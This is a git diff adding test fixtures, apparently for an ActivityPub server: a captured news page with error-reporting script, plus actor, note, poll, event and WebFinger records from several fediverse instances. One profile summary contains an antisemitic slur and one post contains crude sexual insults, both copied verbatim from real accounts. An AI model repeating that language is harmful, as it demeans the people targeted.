+<iframe src="https://www.googletagmanager.com/ns.html?id=GTM-P528B3&gtm_auth=tfAzqo1rYDLgYhmTnSjPqw&gtm_preview=env-130&gtm_cookies_win=x" height="0" width="0" style="display:none;visibility:hidden"></iframe>
+</noscript>
+ <div id="RavenInstaller">
+<script>
+if (window.INSTALL_RAVEN) {
+ window.addEventListener('load', function(event) {
+ var includeRaven = document.getElementById("RavenInstaller");
+ var script = document.createElement("script");
+ script.src = "/vi-assets/static-assets/raven.min-830a6d04a55c283934dd1893d6ddc66d.js";
+ script.onload = function() {
+ /* eslint-disable */
+// Install Raven
+window.Raven.config('https://7bc8bccf5c254286a99b11c68f6bf4ce@sentry.io/178860', {
+ release: vi.env.RELEASE,
+ environment: vi.env.ENVIRONMENT,
+ ignoreErrors: [/SecurityError: Blocked a frame with origin.*/]
+}).install(); // Stop using our error handler
+
+window.nyt_errors.ravenInstalled = true;
+var regex = /nyt-a=(.*?)(;|$)/;
+var id = regex.exec(document.cookie);
+
+if (id !== null) {
+ id = id[1];
+} else {
+ id = '';
+} // Setting nyt-a as user context
+
+
+window.Raven.setUserContext({
+ id: id
+}); // Pass collected errors to Raven
+
+window.nyt_errors.list.forEach(function (err) {
+ // weird?
+ if (!err) {
+ return;
+ } // also weird ... ?
+
+
+ if (!err.err) {
+ // maybe err itself is an Error?
+ if (err instanceof Error) {
+ window.Raven.captureException(err, err.data || {});
+ } // else { silently ignore? }
+
+ } // just making sure ...
+
+
+ if (err.err instanceof Error) {
+ window.Raven.captureException(err.err, err.data || {});
+ } // else { silently ignore? }
+
+}); // Pass collected Tags to Raven
+
+window.nyt_errors.tags.forEach(function (tag) {
+ window.Raven.setTagsContext(tag);
+});
+ };
+ includeRaven.appendChild(script);
+ });
+}
+</script>
+</div>
+
+
+ </body>
+</html>
diff --git a/test/fixtures/osada-follow-activity.json b/test/fixtures/osada-follow-activity.json
new file mode 100644
index 000000000..b991eea36
--- /dev/null
+++ b/test/fixtures/osada-follow-activity.json
@@ -0,0 +1,56 @@
+{
+ "@context":[
+ "https://www.w3.org/ns/activitystreams",
+ "https://w3id.org/security/v1",
+ "https://apfed.club/apschema/v1.4"
+ ],
+ "id":"https://apfed.club/follow/9",
+ "type":"Follow",
+ "actor":{
+ "type":"Person",
+ "id":"https://apfed.club/channel/indio",
+ "preferredUsername":"indio",
+ "name":"Indio",
+ "updated":"2019-08-20T23:52:34Z",
+ "icon":{
+ "type":"Image",
+ "mediaType":"image/jpeg",
+ "updated":"2019-08-20T23:53:37Z",
+ "url":"https://apfed.club/photo/profile/l/2",
+ "height":300,
+ "width":300
+ },
+ "url":"https://apfed.club/channel/indio",
+ "inbox":"https://apfed.club/inbox/indio",
+ "outbox":"https://apfed.club/outbox/indio",
+ "followers":"https://apfed.club/followers/indio",
+ "following":"https://apfed.club/following/indio",
+ "endpoints":{
+ "sharedInbox":"https://apfed.club/inbox"
+ },
+ "publicKey":{
+ "id":"https://apfed.club/channel/indio",
+ "owner":"https://apfed.club/channel/indio",
+ "publicKeyPem":"-----BEGIN PUBLIC KEY-----\nMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA77TIR1VuSYFnmDRFGHHb\n4vaGdx9ranzRX4bfOKAqa++Ch5L4EqJpPy08RuM+NrYCYiYl4QQFDSSDXAEgb5g9\nC1TgWTfI7q/E0UBX2Vr0mU6X4i1ztv0tuQvegRjcSJ7l1AvoBs8Ip4MEJ3OPEQhB\ngJqAACB3Gnps4zi2I0yavkxUfGVKr6zKT3BxWh5hTpKC7Do+ChIrVZC2EwxND9K6
+\nsAnQHThcb5EQuvuzUQZKeS7IEOsd0JpZDmJjbfMGrAWE81pLIfEeeA2joCJiBBTO\nglDsW+juvZ+lWqJpMr2hMWpvfrFjJeUawNJCIzsLdVIZR+aKj5yy6yqoS8hkN9Ha\n1MljZpsXl+EmwcwAIqim1YeLwERCEAQ/JWbSt8pQTQbzZ6ibwQ4mchCxacrRbIVR
+\nnL59fWMBassJcbY0VwrTugm2SBsYbDjESd55UZV03Rwr8qseGTyi+hH8O7w2SIaY\nzjN6AdZiPmsh00YflzlCk8MSLOHMol1vqIUzXxU8CdXn9+KsuQdZGrTz0YKN/db4\naVwUGJatz2Tsvf7R1tJBjJfeQWOWbbn3pycLVH86LjZ83qngp9ZVnAveUnUqz0yS
+\nhe+buZ6UMsfGzbIYon2bKNlz6gYTH0YPcr+cLe+29drtt0GZiXha1agbpo4RB8zE
+\naNL2fucF5YT0yNpbd/5WoV0CAwEAAQ==\n-----END PUBLIC KEY-----\n"
+ }
+ },
+ "object":"https://pleroma.site/users/kaniini",
+ "to":[
+ "https://pleroma.site/users/kaniini"
+ ],
+ "signature":{
+ "@context":[
+ "https://www.w3.org/ns/activitystreams",
+ "https://w3id.org/security/v1"
+ ],
+ "type":"RsaSignature2017",
+ "nonce":"52c035e0a9e81dce8b486159204e97c22637e91f75cdfad5378de91de68e9117",
+ "creator":"https://apfed.club/channel/indio/public_key_pem",
+ "created":"2019-08-22T03:38:02Z",
+ "signatureValue":"oVliRCIqNIh6yUp851dYrF0y21aHp3Rz6VkIpW1pFMWfXuzExyWSfcELpyLseeRmsw5bUu9zJkH44B4G2LiJQKA9UoEQDjrDMZBmbeUpiQqq3DVUzkrBOI8bHZ7xyJ/CjSZcNHHh0MHhSKxswyxWMGi4zIqzkAZG3vRRgoPVHdjPm00sR3B8jBLw1cjoffv+KKeM/zEUpe13gqX9qHAWHHqZepxgSWmq+EKOkRvHUPBXiEJZfXzc5uW+vZ09F3WBYmaRoy8Y0e1P29fnRLqSy7EEINdrHaGclRqoUZyiawpkgy3lWWlynesV/HiLBR7EXT79eKstxf4wfTDaPKBCfTCsOWuMWHr7Genu37ew2/t7eiBGqCwwW12ylhml/OLHgNK3LOhmRABhtfpaFZSxfDVnlXfaLpY1xekVOj2oC0FpBtnoxVKLpIcyLw6dkfSil5ANd+hl59W/bpPA8KT90ii1fSNCo3+FcwQVx0YsPznJNA60XfFuVsme7zNcOst6393e1WriZxBanFpfB63zVQc9u1fjyfktx/yiUNxIlre+sz9OCc0AACn94iRhBYh4bbzdleUOTnM7lnD4Dj2FP+xeDIP8CA8wXUeq5+9kopSp2kAmlUEyFUdg4no7naIeu1SZnopfUg56PsVCp9JHiUK1SYAyWbdC+FbUECu5CvI="
+ }
+}
diff --git a/test/fixtures/tesla_mock/admin@mastdon.example.org.json b/test/fixtures/tesla_mock/admin@mastdon.example.org.json
index c297e4349..9fdd6557c 100644
--- a/test/fixtures/tesla_mock/admin@mastdon.example.org.json
+++ b/test/fixtures/tesla_mock/admin@mastdon.example.org.json
@@ -1 +1,59 @@
-{"@context":["https://www.w3.org/ns/activitystreams","https://w3id.org/security/v1",{"manuallyApprovesFollowers":"as:manuallyApprovesFollowers","sensitive":"as:sensitive","movedTo":"as:movedTo","Hashtag":"as:Hashtag","ostatus":"http://ostatus.org#","atomUri":"ostatus:atomUri","inReplyToAtomUri":"ostatus:inReplyToAtomUri","conversation":"ostatus:conversation","toot":"http://joinmastodon.org/ns#","Emoji":"toot:Emoji"}],"id":"http://mastodon.example.org/users/admin","type":"Person","following":"http://mastodon.example.org/users/admin/following","followers":"http://mastodon.example.org/users/admin/followers","inbox":"http://mastodon.example.org/users/admin/inbox","outbox":"http://mastodon.example.org/users/admin/outbox","preferredUsername":"admin","name":null,"summary":"\u003cp\u003e\u003c/p\u003e","url":"http://mastodon.example.org/@admin","manuallyApprovesFollowers":false,"publicKey":{"id":"http://mastodon.example.org/users/admin#main-key","owner":"http://mastodon.example.org/users/admin","publicKeyPem":"-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtc4Tir+3ADhSNF6VKrtW\nOU32T01w7V0yshmQei38YyiVwVvFu8XOP6ACchkdxbJ+C9mZud8qWaRJKVbFTMUG\nNX4+6Q+FobyuKrwN7CEwhDALZtaN2IPbaPd6uG1B7QhWorrY+yFa8f2TBM3BxnUy\nI4T+bMIZIEYG7KtljCBoQXuTQmGtuffO0UwJksidg2ffCF5Q+K//JfQagJ3UzrR+\nZXbKMJdAw4bCVJYs4Z5EhHYBwQWiXCyMGTd7BGlmMkY6Av7ZqHKC/owp3/0EWDNz\nNqF09Wcpr3y3e8nA10X40MJqp/wR+1xtxp+YGbq/Cj5hZGBG7etFOmIpVBrDOhry\nBwIDAQAB\n-----END PUBLIC KEY-----\n"},"endpoints":{"sharedInbox":"http://mastodon.example.org/inbox"},"icon":{"type":"Image","mediaType":"image/jpeg","url":"https://cdn.niu.moe/accounts/avatars/000/033/323/original/fd7f8ae0b3ffedc9.jpeg"},"image":{"type":"Image","mediaType":"image/png","url":"https://cdn.niu.moe/accounts/headers/000/033/323/original/850b3448fa5fd477.png"}}
+{
+ "@context": ["https://www.w3.org/ns/activitystreams", "https://w3id.org/security/v1", {
+ "manuallyApprovesFollowers": "as:manuallyApprovesFollowers",
+ "sensitive": "as:sensitive",
+ "movedTo": "as:movedTo",
+ "Hashtag": "as:Hashtag",
+ "ostatus": "http://ostatus.org#",
+ "atomUri": "ostatus:atomUri",
+ "inReplyToAtomUri": "ostatus:inReplyToAtomUri",
+ "conversation": "ostatus:conversation",
+ "toot": "http://joinmastodon.org/ns#",
+ "Emoji": "toot:Emoji",
+ "alsoKnownAs": {
+ "@id": "as:alsoKnownAs",
+ "@type": "@id"
+ }
+ }],
+ "id": "http://mastodon.example.org/users/admin",
+ "type": "Person",
+ "following": "http://mastodon.example.org/users/admin/following",
+ "followers": "http://mastodon.example.org/users/admin/followers",
+ "inbox": "http://mastodon.example.org/users/admin/inbox",
+ "outbox": "http://mastodon.example.org/users/admin/outbox",
+ "preferredUsername": "admin",
+ "name": null,
+ "summary": "\u003cp\u003e\u003c/p\u003e",
+ "url": "http://mastodon.example.org/@admin",
+ "manuallyApprovesFollowers": false,
+ "publicKey": {
+ "id": "http://mastodon.example.org/users/admin#main-key",
+ "owner": "http://mastodon.example.org/users/admin",
+ "publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtc4Tir+3ADhSNF6VKrtW\nOU32T01w7V0yshmQei38YyiVwVvFu8XOP6ACchkdxbJ+C9mZud8qWaRJKVbFTMUG\nNX4+6Q+FobyuKrwN7CEwhDALZtaN2IPbaPd6uG1B7QhWorrY+yFa8f2TBM3BxnUy\nI4T+bMIZIEYG7KtljCBoQXuTQmGtuffO0UwJksidg2ffCF5Q+K//JfQagJ3UzrR+\nZXbKMJdAw4bCVJYs4Z5EhHYBwQWiXCyMGTd7BGlmMkY6Av7ZqHKC/owp3/0EWDNz\nNqF09Wcpr3y3e8nA10X40MJqp/wR+1xtxp+YGbq/Cj5hZGBG7etFOmIpVBrDOhry\nBwIDAQAB\n-----END PUBLIC KEY-----\n"
+ },
+ "attachment": [{
+ "type": "PropertyValue",
+ "name": "foo",
+ "value": "bar"
+ },
+ {
+ "type": "PropertyValue",
+ "name": "foo1",
+ "value": "bar1"
+ }
+ ],
+ "endpoints": {
+ "sharedInbox": "http://mastodon.example.org/inbox"
+ },
+ "icon": {
+ "type": "Image",
+ "mediaType": "image/jpeg",
+ "url": "https://cdn.niu.moe/accounts/avatars/000/033/323/original/fd7f8ae0b3ffedc9.jpeg"
+ },
+ "image": {
+ "type": "Image",
+ "mediaType": "image/png",
+ "url": "https://cdn.niu.moe/accounts/headers/000/033/323/original/850b3448fa5fd477.png"
+ },
+ "alsoKnownAs": ["http://example.org/users/foo"]
+}
diff --git a/test/fixtures/tesla_mock/https___shitposter.club_notice_2827873.json b/test/fixtures/tesla_mock/https___shitposter.club_notice_2827873.json
new file mode 100644
index 000000000..4b7b4df44
--- /dev/null
+++ b/test/fixtures/tesla_mock/https___shitposter.club_notice_2827873.json
@@ -0,0 +1 @@
+{"@context":["https://www.w3.org/ns/activitystreams","https://shitposter.club/schemas/litepub-0.1.jsonld",{"@language":"und"}],"actor":"https://shitposter.club/users/moonman","attachment":[],"attributedTo":"https://shitposter.club/users/moonman","cc":["https://shitposter.club/users/moonman/followers"],"content":"@<a href=\"https://shitposter.club/users/9655\" class=\"h-card mention\" title=\"Solidarity for Pigs\">neimzr4luzerz</a> @<a href=\"https://gs.smuglo.li/user/2326\" class=\"h-card mention\" title=\"Dolus_McHonest\">dolus</a> childhood poring over Strong's concordance and a koine Greek dictionary, fast forward to 2017 and some fuckstick who translates japanese jackoff material tells me you just need to make it sound right in English","context":"tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26","conversation":"tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26","id":"tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment","inReplyTo":"tag:shitposter.club,2017-05-05:noticeId=2827849:objectType=comment","inReplyToStatusId":2827849,"published":"2017-05-05T08:51:48Z","sensitive":false,"summary":null,"tag":[],"to":["https://www.w3.org/ns/activitystreams#Public"],"type":"Note"} \ No newline at end of file
diff --git a/test/fixtures/tesla_mock/kpherox@mstdn.jp.xml b/test/fixtures/tesla_mock/kpherox@mstdn.jp.xml
new file mode 100644
index 000000000..2ec134eaa
--- /dev/null
+++ b/test/fixtures/tesla_mock/kpherox@mstdn.jp.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<XRD xmlns="http://docs.oasis-open.org/ns/xri/xrd-1.0">
+ <Subject>acct:kPherox@mstdn.jp</Subject>
+ <Alias>https://mstdn.jp/@kPherox</Alias>
+ <Alias>https://mstdn.jp/users/kPherox</Alias>
+ <Link rel="http://webfinger.net/rel/profile-page" type="text/html" href="https://mstdn.jp/@kPherox"/>
+ <Link rel="http://schemas.google.com/g/2010#updates-from" type="application/atom+xml" href="https://mstdn.jp/users/kPherox.atom"/>
+ <Link rel="self" type="application/activity+json" href="https://mstdn.jp/users/kPherox"/>
+ <Link rel="http://ostatus.org/schema/1.0/subscribe" template="https://mstdn.jp/authorize_interaction?acct={uri}"/>
+</XRD>
diff --git a/test/fixtures/tesla_mock/misskey_poll_no_end_date.json b/test/fixtures/tesla_mock/misskey_poll_no_end_date.json
new file mode 100644
index 000000000..0e08de4de
--- /dev/null
+++ b/test/fixtures/tesla_mock/misskey_poll_no_end_date.json
@@ -0,0 +1 @@
+{"@context":["https://www.w3.org/ns/activitystreams","https://w3id.org/security/v1",{"Hashtag":"as:Hashtag"}],"id":"https://skippers-bin.com/notes/7x9tmrp97i","type":"Question","attributedTo":"https://skippers-bin.com/users/7v1w1r8ce6","summary":null,"content":"<p><a href=\"https://marchgenso.me/users/march\" class=\"mention\">@march@marchgenso.me</a><span> How are your notifications now?<br></span><a href=\"https://skippers-bin.com/notes/7x9tmrp97i\"><span>リモートで結果を表示</span></a></p>","_misskey_content":"@march@marchgenso.me How are your notifications now?\n[リモートで結果を表示](https://skippers-bin.com/notes/7x9tmrp97i)","published":"2019-09-05T05:35:32.541Z","to":["https://www.w3.org/ns/activitystreams#Public"],"cc":["https://skippers-bin.com/users/7v1w1r8ce6/followers","https://marchgenso.me/users/march"],"inReplyTo":null,"attachment":[],"sensitive":false,"tag":[{"type":"Mention","href":"https://marchgenso.me/users/march","name":"@march@marchgenso.me"}],"_misskey_fallback_content":"<p><a href=\"https://marchgenso.me/users/march\" class=\"mention\">@march@marchgenso.me</a><span> How are your notifications now?<br></span><a href=\"https://skippers-bin.com/notes/7x9tmrp97i\"><span>リモートで結果を表示</span></a><span><br>----------------------------------------<br>0: Working<br>1: Broken af<br>----------------------------------------<br>番号を返信して投票</span></p>","endTime":null,"oneOf":[{"type":"Note","name":"Working","replies":{"type":"Collection","totalItems":0}},{"type":"Note","name":"Broken af","replies":{"type":"Collection","totalItems":1}}]} \ No newline at end of file
diff --git a/test/fixtures/tesla_mock/mobilizon.org-event.json b/test/fixtures/tesla_mock/mobilizon.org-event.json
new file mode 100644
index 000000000..7411cf817
--- /dev/null
+++ b/test/fixtures/tesla_mock/mobilizon.org-event.json
@@ -0,0 +1 @@
+{"@context":["https://www.w3.org/ns/activitystreams","https://litepub.social/litepub/context.jsonld",{"GeoCoordinates":"sc:GeoCoordinates","Hashtag":"as:Hashtag","Place":"sc:Place","PostalAddress":"sc:PostalAddress","address":{"@id":"sc:address","@type":"sc:PostalAddress"},"addressCountry":"sc:addressCountry","addressLocality":"sc:addressLocality","addressRegion":"sc:addressRegion","category":"sc:category","commentsEnabled":{"@id":"pt:commentsEnabled","@type":"sc:Boolean"},"geo":{"@id":"sc:geo","@type":"sc:GeoCoordinates"},"ical":"http://www.w3.org/2002/12/cal/ical#","joinMode":{"@id":"mz:joinMode","@type":"mz:joinModeType"},"joinModeType":{"@id":"mz:joinModeType","@type":"rdfs:Class"},"location":{"@id":"sc:location","@type":"sc:Place"},"maximumAttendeeCapacity":"sc:maximumAttendeeCapacity","mz":"https://joinmobilizon.org/ns#","postalCode":"sc:postalCode","pt":"https://joinpeertube.org/ns#","repliesModerationOption":{"@id":"mz:repliesModerationOption","@type":"mz:repliesModerationOptionType"},"repliesModerationOptionType":{"@id":"mz:repliesModerationOptionType","@type":"rdfs:Class"},"sc":"http://schema.org#","streetAddress":"sc:streetAddress","uuid":"sc:identifier"}],"actor":"https://mobilizon.org/@tcit","attributedTo":"https://mobilizon.org/@tcit","category":"meeting","cc":[],"commentsEnabled":true,"content":"<p>Mobilizon is now federated! 🎉</p><p></p><p>You can view this event from other instances if they are subscribed to mobilizon.org, and soon directly from Mastodon and Pleroma. It is possible that you may see some comments from other instances, including Mastodon ones, just below.</p><p></p><p>With a Mobilizon account on an instance, you may <strong>participate</strong> at events from other instances and <strong>add comments</strong> on events.</p><p></p><p>Of course, it's still <u>a work in progress</u>: if reports made from an instance on events and comments can be federated, you can't block people right now, and moderators actions are rather limited, but this <strong>will definitely get fixed over time</strong> until first stable version next year.</p><p></p><p>Anyway, if you want to come up with some feedback, head over to our forum or - if you feel you have technical skills and are familiar with it - on our Gitlab repository.</p><p></p><p>Also, to people that want to set Mobilizon themselves even though we really don't advise to do that for now, we have a little documentation but it's quite the early days and you'll probably need some help. No worries, you can chat with us on our Forum or though our Matrix channel.</p><p></p><p>Check our website for more informations and follow us on Twitter or Mastodon.</p>","endTime":"2019-12-18T14:00:00Z","ical:status":"CONFIRMED","id":"https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39","joinMode":"free","location":{"address":{"addressCountry":"France","addressLocality":"Nantes","addressRegion":"Pays de la Loire","postalCode":null,"streetAddress":" ","type":"PostalAddress"},"geo":{"latitude":-1.54939699141711,"longitude":47.21617415,"type":"GeoCoordinates"},"id":"https://mobilizon.org/address/1368fdab-1e2c-4de6-bcff-a90c84abdee1","name":"Cour du Château des Ducs de Bretagne","type":"Place"},"maximumAttendeeCapacity":0,"mediaType":"text/html","name":"Mobilizon Launching Party","published":"2019-12-17T11:33:56Z","repliesModerationOption":"allow_all","startTime":"2019-12-18T13:00:00Z","tag":[{"href":"https://mobilizon.org/tags/mobilizon","name":"#Mobilizon","type":"Hashtag"},{"href":"https://mobilizon.org/tags/federation","name":"#Federation","type":"Hashtag"},{"href":"https://mobilizon.org/tags/activitypub","name":"#ActivityPub","type":"Hashtag"},{"href":"https://mobilizon.org/tags/party","name":"#Party","type":"Hashtag"}],"to":["https://www.w3.org/ns/activitystreams#Public"],"type":"Event","updated":"2019-12-17T12:25:01Z","url":"https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39","uuid":"252d5816-00a3-4a89-a66f-15bf65c33e39"} \ No newline at end of file
diff --git a/test/fixtures/tesla_mock/mobilizon.org-user.json b/test/fixtures/tesla_mock/mobilizon.org-user.json
new file mode 100644
index 000000000..f948ae5f0
--- /dev/null
+++ b/test/fixtures/tesla_mock/mobilizon.org-user.json
@@ -0,0 +1 @@
+{"@context":["https://www.w3.org/ns/activitystreams","https://litepub.social/litepub/context.jsonld",{"GeoCoordinates":"sc:GeoCoordinates","Hashtag":"as:Hashtag","Place":"sc:Place","PostalAddress":"sc:PostalAddress","address":{"@id":"sc:address","@type":"sc:PostalAddress"},"addressCountry":"sc:addressCountry","addressLocality":"sc:addressLocality","addressRegion":"sc:addressRegion","category":"sc:category","commentsEnabled":{"@id":"pt:commentsEnabled","@type":"sc:Boolean"},"geo":{"@id":"sc:geo","@type":"sc:GeoCoordinates"},"ical":"http://www.w3.org/2002/12/cal/ical#","joinMode":{"@id":"mz:joinMode","@type":"mz:joinModeType"},"joinModeType":{"@id":"mz:joinModeType","@type":"rdfs:Class"},"location":{"@id":"sc:location","@type":"sc:Place"},"maximumAttendeeCapacity":"sc:maximumAttendeeCapacity","mz":"https://joinmobilizon.org/ns#","postalCode":"sc:postalCode","pt":"https://joinpeertube.org/ns#","repliesModerationOption":{"@id":"mz:repliesModerationOption","@type":"mz:repliesModerationOptionType"},"repliesModerationOptionType":{"@id":"mz:repliesModerationOptionType","@type":"rdfs:Class"},"sc":"http://schema.org#","streetAddress":"sc:streetAddress","uuid":"sc:identifier"}],"endpoints":{"sharedInbox":"https://mobilizon.org/inbox"},"followers":"https://mobilizon.org/@tcit/followers","following":"https://mobilizon.org/@tcit/following","icon":{"mediaType":null,"type":"Image","url":"https://mobilizon.org/media/3a5f18c058a8193b1febfaf561f94ae8b91f85ac64c01ddf5ad7b251fb43baf5.jpg?name=profil.jpg"},"id":"https://mobilizon.org/@tcit","inbox":"https://mobilizon.org/@tcit/inbox","manuallyApprovesFollowers":false,"name":"Thomas Citharel","outbox":"https://mobilizon.org/@tcit/outbox","preferredUsername":"tcit","publicKey":{"id":"https://mobilizon.org/@tcit#main-key","owner":"https://mobilizon.org/@tcit","publicKeyPem":"-----BEGIN RSA PUBLIC KEY-----\nMIIBCgKCAQEAtzuZFviv5f12SuA0wZFMuwKS8RIlT3IjPCMLRDhiorZeV3UJ1lik\nDYO6mEh22KDXYgJtNVSYGF0Q5LJivgcvuvU+VQ048iTB1B2x0rHMr47KPByPjfVb\nKDeHt6fkHcLY0JK8UkIxW542wXAg4jX5w3gJi3pgTQrCT8VNyPbH1CaA0uW//9jc\nqzZQVFzpfdJoVOM9E3Urc/u58HC4xOptlM7+B/594ZI9drYwy5m+ZxHwlQUYCva4\n34dvwsfOGxkQyIrzXoep80EnWnFpYCLMcCiz+sEhPYxqLgNE+Cmn/6pv7SIscz6p\neVlQXIchdw+J4yl07paJDkFc6CNTCmaIHQIDAQAB\n-----END RSA PUBLIC KEY-----\n\n"},"summary":"Main profile","type":"Person","url":"https://mobilizon.org/@tcit"} \ No newline at end of file
diff --git a/test/fixtures/tesla_mock/moonman@shitposter.club.json b/test/fixtures/tesla_mock/moonman@shitposter.club.json
new file mode 100644
index 000000000..8f9ced1dd
--- /dev/null
+++ b/test/fixtures/tesla_mock/moonman@shitposter.club.json
@@ -0,0 +1 @@
+{"@context":["https://www.w3.org/ns/activitystreams","https://shitposter.club/schemas/litepub-0.1.jsonld",{"@language":"und"}],"attachment":[],"endpoints":{"oauthAuthorizationEndpoint":"https://shitposter.club/oauth/authorize","oauthRegistrationEndpoint":"https://shitposter.club/api/v1/apps","oauthTokenEndpoint":"https://shitposter.club/oauth/token","sharedInbox":"https://shitposter.club/inbox"},"followers":"https://shitposter.club/users/moonman/followers","following":"https://shitposter.club/users/moonman/following","icon":{"type":"Image","url":"https://shitposter.club/media/bda6e00074f6a02cbf32ddb0abec08151eb4c795e580927ff7ad638d00cde4c8.jpg?name=blob.jpg"},"id":"https://shitposter.club/users/moonman","image":{"type":"Image","url":"https://shitposter.club/media/4eefb90d-cdb2-2b4f-5f29-7612856a99d2/4eefb90d-cdb2-2b4f-5f29-7612856a99d2.jpeg"},"inbox":"https://shitposter.club/users/moonman/inbox","manuallyApprovesFollowers":false,"name":"Captain Howdy","outbox":"https://shitposter.club/users/moonman/outbox","preferredUsername":"moonman","publicKey":{"id":"https://shitposter.club/users/moonman#main-key","owner":"https://shitposter.club/users/moonman","publicKeyPem":"-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnOTitJ19ZqcOZHwSXQUM\nJq9ip4GNblp83LgwG1t5c2h2iaI3fXMsB4EaEBs8XHsoSFyDeDNRSPE3mtVgOnWv\n1eaXWMDerBT06th6DrElD9k5IoEPtZRY4HtZa1xGnte7+6RjuPOzZ1fR9C8WxGgi\nwb9iOUMhazpo85fC3iKCAL5XhiuA3Nas57MDJgueeI9BF+2oFelFZdMSWwG96uch\niDfp8nfpkmzYI6SWbylObjm8RsfZbGTosLHwWyJPEITeYI/5M0XwJe9dgVI1rVNU\n52kplWOGTo1rm6V0AMHaYAd9RpiXxe8xt5OeranrsE/5LvEQUl0fz7SE36YmsOaH\nTwIDAQAB\n-----END PUBLIC KEY-----\n\n"},"summary":"EMAIL:shitposterclub@gmail.com<br>XMPP: moon@talk.shitposter.club<br>PRONOUNS: none of your business<br><br>Purported leftist kike piece of shit","tag":[],"type":"Person","url":"https://shitposter.club/users/moonman"} \ No newline at end of file
diff --git a/test/fixtures/tesla_mock/mstdn.jp_host_meta b/test/fixtures/tesla_mock/mstdn.jp_host_meta
new file mode 100644
index 000000000..e76ddd47f
--- /dev/null
+++ b/test/fixtures/tesla_mock/mstdn.jp_host_meta
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<XRD xmlns="http://docs.oasis-open.org/ns/xri/xrd-1.0">
+ <Link rel="lrdd" type="application/xrd+xml" template="https://mstdn.jp/.well-known/webfinger?resource={uri}"/>
+</XRD>
diff --git a/test/fixtures/tesla_mock/osada-user-indio.json b/test/fixtures/tesla_mock/osada-user-indio.json
new file mode 100644
index 000000000..c1d52c92a
--- /dev/null
+++ b/test/fixtures/tesla_mock/osada-user-indio.json
@@ -0,0 +1 @@
+{"@context":["https://www.w3.org/ns/activitystreams","https://w3id.org/security/v1"],"type":"Person","id":"https://apfed.club/channel/indio","preferredUsername":"indio","name":"Indio","updated":"2019-08-20T23:52:34Z","icon":{"type":"Image","mediaType":"image/jpeg","updated":"2019-08-20T23:53:37Z","url":"https://apfed.club/photo/profile/l/2","height":300,"width":300},"url":"https://apfed.club/channel/indio","inbox":"https://apfed.club/inbox/indio","outbox":"https://apfed.club/outbox/indio","followers":"https://apfed.club/followers/indio","following":"https://apfed.club/following/indio","endpoints":{"sharedInbox":"https://apfed.club/inbox"},"publicKey":{"id":"https://apfed.club/channel/indio","owner":"https://apfed.club/channel/indio","publicKeyPem":"-----BEGIN PUBLIC KEY-----\nMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA77TIR1VuSYFnmDRFGHHb\n4vaGdx9ranzRX4bfOKAqa++Ch5L4EqJpPy08RuM+NrYCYiYl4QQFDSSDXAEgb5g9\nC1TgWTfI7q/E0UBX2Vr0mU6X4i1ztv0tuQvegRjcSJ7l1AvoBs8Ip4MEJ3OPEQhB\ngJqAACB3Gnps4zi2I0yavkxUfGVKr6zKT3BxWh5hTpKC7Do+ChIrVZC2EwxND9K6\nsAnQHThcb5EQuvuzUQZKeS7IEOsd0JpZDmJjbfMGrAWE81pLIfEeeA2joCJiBBTO\nglDsW+juvZ+lWqJpMr2hMWpvfrFjJeUawNJCIzsLdVIZR+aKj5yy6yqoS8hkN9Ha\n1MljZpsXl+EmwcwAIqim1YeLwERCEAQ/JWbSt8pQTQbzZ6ibwQ4mchCxacrRbIVR\nnL59fWMBassJcbY0VwrTugm2SBsYbDjESd55UZV03Rwr8qseGTyi+hH8O7w2SIaY\nzjN6AdZiPmsh00YflzlCk8MSLOHMol1vqIUzXxU8CdXn9+KsuQdZGrTz0YKN/db4\naVwUGJatz2Tsvf7R1tJBjJfeQWOWbbn3pycLVH86LjZ83qngp9ZVnAveUnUqz0yS\nhe+buZ6UMsfGzbIYon2bKNlz6gYTH0YPcr+cLe+29drtt0GZiXha1agbpo4RB8zE\naNL2fucF5YT0yNpbd/5WoV0CAwEAAQ==\n-----END PUBLIC KEY-----\n"},"signature":{"@context":["https://www.w3.org/ns/activitystreams","https://w3id.org/security/v1"],"type":"RsaSignature2017","nonce":"c672a408d2e88b322b36a61bf0c25f586be9245d30293c55b8d653dcc867aaf7","creator":"https://apfed.club/channel/indio/public_key_pem","created":"2019-08-26T07:24:03Z","signatureValue":"MyAv5gnedu6L/DYFaE1TUYvp4LjI9ZUU0axwGYOhgD7qsjivMgwbOrjX/iH32xlcfF8nWOMh/ogu3+Qwr5sqLHkS2AimWmw1+Ubf2KccE58b8vI8zWfyu8QJnMuE92jtBPv8UTQUHw8ZebbExk3L99oXaeyVihKiMBmd63NpVTpGXZTg6m+H+KfWchVajPoyNKZtKMd3nH99x5j54Cqkz0BN5CSTwCSG0wP95G0VtZHtmhX+tsAPM3oAj0d+gtCZSCd8Nu8fvFAwCyTg1oKSfRqKb27EKHlskqK9X57x0jURH77CTAIQSejgGcKJ5GGLtvofubJkafadjagqrtqz6Mz6BZ642ssJ2KGkRAn79Q4F08goI6cfU5lLk2Tooe5A55XERnmE3SkYGyTvLpacZplxJdU0sa+deX9D7+alSGFJZSziaxpCxzrO6lEApe4b9kHXAzn9VaZt9trijkHq/kkq0i3NRcP7n8JG9q+Vv8jY9ddY6HcH89RNCBIA6MKLtAqc+vSc5G24qeZlw2MzlQWBp0KGuVG8DQR00AL6cXLBzF1WY8JZeEg6zqm+DMznbuNzgiS34BP+AehBSHlQ4MZebwDnK3ZPPqGSwioIWMxIFfZDaVDX9Pp1pXAARQMw0c/y4sDcf9FMzsr8jteEa7ZQcoqq5kXQTSCP56TEHnI="}} \ No newline at end of file
